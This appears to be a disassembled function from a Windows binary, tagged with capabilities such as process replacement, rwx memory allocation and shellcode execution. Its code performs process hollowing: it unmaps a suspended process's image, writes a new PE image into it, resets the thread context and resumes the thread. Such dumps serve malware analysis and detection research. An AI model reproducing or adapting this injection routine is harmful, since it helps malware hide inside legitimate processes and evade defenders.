Function at 0x402360
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Read file on windows
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xa618
call fcn.00407c9c
mov dword [esp], str.ntdll.dll
call sym._LoadLibraryA_4
sub esp, 4
mov dword [esp + 4], str.NtUnmapViewOfSection
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x24], eax
mov dword [esp], 0x104
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x1c], eax
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x104
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
test eax, eax
sete al
test al, al
je 0x4023fe
cmp dword [ebp - 0x1c], 0
je 0x4023f4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 6
jmp 0x402aff
mov dword [esp + 4], 0x40e24b
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x402435
cmp dword [ebp - 0x1c], 0
je 0x40242b
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 6
jmp 0x402aff
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._rewind
mov eax, dword [ebp - 0x18]
shl eax, 2
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 8], 0x40
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0xdc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xdc]
cmp ax, 0x5a4d
je 0x40250f
cmp dword [ebp - 0x1c], 0
je 0x4024fa
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.operator_delete_void_
mov eax, 7
jmp 0x402aff
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xc]
lea eax, [edx + eax]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
lea eax, [ebp - 0x310]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x310]
cmp eax, 0x4550
je 0x402568
cmp dword [ebp - 0x1c], 0
je 0x402553
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.operator_delete_void_
mov eax, 7
jmp 0x402aff
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.operator_delete_void_
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x10], eax
mov dword [esp + 8], 0x40
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x9c]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x9c]
cmp ax, 0x5a4d
je 0x4025c9
cmp dword [ebp - 0x1c], 0
je 0x4025bf
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 7
jmp 0x402aff
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp + 8]
lea eax, [edx + eax]
mov dword [esp + 8], 0xf8
mov dword [esp + 4], eax
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x218]
cmp eax, 0x4550
je 0x402614
cmp dword [ebp - 0x1c], 0
je 0x40260a
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 7
jmp 0x402aff
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x40]
shl eax, 2
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp + 8]
lea eax, [edx + eax]
add eax, 0xf8
mov dword [ebp - 0x34], eax
mov ax, word [ebp - 0x212]
movzx edx, ax
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0xa5dc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x44]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x1c4]
mov edx, dword [ebp - 0x1e0]
mov ecx, edx
mov edx, 0
div ecx
mov eax, edx
test eax, eax
jne 0x4026d6
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x30], eax
jmp 0x402700
mov eax, dword [ebp - 0x1c4]
mov edx, dword [ebp - 0x1e0]
mov ecx, edx
mov edx, 0
div ecx
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x30]
mov eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x30]
imul eax, edx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], 0
jmp 0x402807
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
lea edx, [ebp - 8]
lea eax, [edx + eax]
sub eax, 0xa5c4
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
lea ecx, [ebp - 8]
lea eax, [ecx + eax]
sub eax, 0xa5c0
mov edx, dword [eax]
mov eax, dword [ebp + 8]
lea eax, [edx + eax]
mov edx, dword [ebp - 0x38]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._memcpy
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
lea edx, [ebp - 8]
lea eax, [edx + eax]
sub eax, 0xa5cc
mov eax, dword [eax]
mov edx, dword [ebp - 0x1e0]
mov ecx, edx
mov edx, 0
div ecx
mov eax, edx
test eax, eax
jne 0x4027bd
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
lea edx, [ebp - 8]
lea eax, [edx + eax]
sub eax, 0xa5cc
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
jmp 0x4027fb
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
lea ecx, [ebp - 8]
lea eax, [ecx + eax]
sub eax, 0xa5cc
mov eax, dword [eax]
mov edx, dword [ebp - 0x1e0]
mov ecx, edx
mov edx, 0
div ecx
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x30]
mov eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x30]
imul eax, edx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x3c]
mov ax, word [ebp - 0x212]
movzx eax, ax
cmp eax, dword [ebp - 0x3c]
seta al
test al, al
jne 0x402715
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x120]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x2cc
mov dword [esp + 4], 0
lea eax, [ebp - 0x5dc]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x120], 0x44
lea eax, [ebp - 0x5c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x120]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
setne al
test al, al
je 0x402ade
mov dword [ebp - 0x5dc], 0x10007
mov eax, dword [ebp - 0x58]
lea edx, [ebp - 0x5dc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._GetThreadContext_8
sub esp, 8
mov eax, dword [ebp - 0x1e4]
cmp eax, dword [ebp - 0x14]
jne 0x40294b
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x40]
jb 0x40294b
mov eax, dword [ebp - 0x1e4]
mov edx, eax
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x4c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x40
mov ecx, dword [ebp - 0x40]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._VirtualProtectEx_20
sub esp, 0x14
jmp 0x40299a
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x24]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x40299a
mov eax, dword [ebp - 0x1e4]
mov edx, eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov ecx, dword [ebp - 0x40]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov eax, dword [ebp - 0x1e4]
mov edx, eax
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x48]
mov dword [esp + 0x10], ecx
mov ecx, dword [ebp - 0x40]
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x4029f8
cmp dword [ebp - 0x1c], 0
je 0x4029e3
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym.operator_delete_void_
mov eax, 8
jmp 0x402aff
mov eax, dword [ebp - 0x538]
add eax, 8
mov edx, eax
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x48]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 4
lea ecx, [ebp - 0x218]
add ecx, 0x34
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x402a60
cmp dword [ebp - 0x1c], 0
je 0x402a4b
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym.operator_delete_void_
mov eax, 8
jmp 0x402aff
mov edx, dword [ebp - 0x1e4]
mov eax, dword [ebp - 0x1f0]
lea eax, [edx + eax]
mov dword [ebp - 0x52c], eax
mov eax, dword [ebp - 0x58]
lea edx, [ebp - 0x5dc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._SetThreadContext_8
sub esp, 8
mov eax, dword [ebp - 0x1e4]
cmp eax, dword [ebp - 0x14]
jne 0x402ad0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x40]
jb 0x402ad0
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1e4]
mov edx, eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp - 0x40]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._VirtualProtectEx_20
sub esp, 0x14
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._ResumeThread_4
sub esp, 4
cmp dword [ebp - 0x1c], 0
je 0x402aef
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym.operator_delete_void_
mov eax, 0
leave
ret